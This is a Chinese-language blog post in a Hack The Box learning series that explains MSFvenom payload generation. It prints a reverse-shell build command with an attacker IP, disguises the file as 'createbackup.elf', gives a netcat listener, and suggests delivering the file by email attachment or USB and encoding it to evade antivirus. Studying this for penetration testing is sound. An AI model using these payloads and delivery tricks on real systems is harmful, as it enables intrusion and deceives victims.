iT邦幫忙

2024 iThome 鐵人賽

DAY 12
0
Security

前端小廢物誤入 Hackthebox Module系列 第 12 篇

MSVenom - 生成和編碼 Payload

  • 分享至 

  • xImage
  •  

MSVenom 知多少?

MSVenom 是什麼

MSFvenom 是 Metasploit 框架中的一個工具,用於生成和編碼各種類型的 payload(有效載荷)。

它將原先的兩個工具 msfpayload 和 msfencode 結合在一起,並提供了更簡單、更靈活的使用體驗。

MSFvenom 可以用來創建各種平台(如 Windows、Linux、macOS、Android 等)上的反向連接、綁定 Shell 以及 Meterpreter 等 payload,並且允許將 payload 打包成多種格式(如 exe、elf、apk 等)。

MSFvenom 的主要功能包括

生成 Payload

根據目標系統選擇合適的 payload,支持各種平台。

編碼 Payload

使用不同的編碼技術來繞過防病毒軟件的檢測。

自定義選項

指定目標 IP(LHOST)、端口(LPORT)、格式(-f)等參數,來生成具體需求的 payload。

用途

MSFvenom 生成的 payload 可以用於滲透測試或社會工程攻擊,並可以結合 Metasploit 模塊來自動化攻擊。

範例

在裝有 Metasploit 的環境下,輸入以下 Command 可以看到 payloads ~

msfvenom -l payloads

https://ithelp.ithome.com.tw/upload/images/20240926/20107197eYhnS1vsrK.png

如果在 Description 有看到 staged 或是 stageless 其實就代表他們分別是分段的或是非分段的 ~

之前有說明過這塊,有興趣的讀者可以翻閱前幾篇的文章閱讀 ~

這邊想要分享的是命名的部分,名字通常會先標示「目標的作業系統」,例如 Linux、Windows 或 MacOS 等等。接著,你會發現有些有效 payload 會標示為「分段(Staged)」或「無分段(Stageless)」。

幫讀者複習一下這兩者的差異:

分段(Staged)有效 payload:

它會先發送一個小的「階段」到目標機器,執行之後再向攻擊端請求下載剩下的部分,並執行最終的 shell。

這種方式的好處是,我們可以先把一部分東西發過去,等目標機器準備好後再發送剩餘部分。缺點是,這樣的方式會佔用一些記憶體空間,可能導致稍微不穩定。

無分段(Stageless)有效 payload:

一次性把整個攻擊 payload 發送過去,不需要分成多個步驟。這對於網路帶寬有限或網絡延遲較高的環境比較有幫助,因為分段的話可能會因為網路不穩定導致 shell 連不上。

無分段的方式可以減少網路傳輸的次數,某些情況下也更有助於隱藏行動,像是透過社交工程來傳遞的話會更難被偵測。

建立 Stageless Payload 並執行它

以 Linux 為例 ~

建立 Payload

在確認攻擊目標後,我們可以透過 Msfvenom 建立 payload 並且執行他。

首先,我們假設攻擊目標是 10.10.14.113:443,我們想要生成 payload 並且存到 createbackup.elf 檔案中 ~ 方便往後使用 /images/emoticon/emoticon75.gif

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf

參數說明:

-p linux/x64/shell_reverse_tcp:

-p 是指選擇 payload,這裡選擇的是 linux/x64/shell_reverse_tcp。
linux/x64 表示這個 payload 是針對 64 位 Linux 系統的。

shell_reverse_tcp 表示這是個反向 shell 的有效 payload,意思是當這個 payload 在目標機器上執行時,它會嘗試與攻擊者的機器進行回連(反向連線),並給攻擊者一個 shell(命令行介面)來控制目標機器。

LHOST=10.10.14.113:

LHOST 代表攻擊者的 IP 地址。

LPORT=443:

LPORT 是攻擊者設置的用來監聽連接的端口號。

-f elf:

-f 是指定生成的 payload 的文件格式。在這裡,elf 表示生成的文件將是一個 ELF(Executable and Linkable Format)檔案,這是 Linux 系統上可執行文件的標準格式。

> createbackup.elf:

這個部分是將生成的 payload 輸出到一個名為 createbackup.elf 的文件中。這個 ELF 文件就是攻擊者準備好的惡意軟體,一旦在目標 Linux 系統上執行,它會嘗試與攻擊者的機器建立連接。

社交工程 - 受害者無意間執行

當我們建立好有效 payload 後,我們需要讓受害者無意間執行他 ~

接下來,我們需要想辦法把這個有效載荷傳送到目標系統上!

比較常見的辦法有:

  • 透過電子郵件附加檔案發送。
  • 在網站上提供下載連結。
  • 與 Metasploit 的攻擊模組結合(這可能需要我們已經進入內部網路)。
  • 透過隨身碟作為現場滲透測試的一部分。

當檔案到達目標系統後,我們還需要讓它被執行。

這時候,最簡單的情境就是,有個管理員不小心點擊到這個檔案 XD
就攻擊成功了,顆顆

記得監聽阿

因為我們想要讓目標執行的是反向 shell XD
要記得監聽它的 port 啊!

sudo nc -lvnp 443

今日小心得

只能說,有睡飽就是精神飽滿
思緒比較清晰

參考資源

https://academy.hackthebox.com/


上一篇
Metasploit & Payload - 模塊知多少?
下一篇
滲透測試範例
系列文
前端小廢物誤入 Hackthebox Module 共 31 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言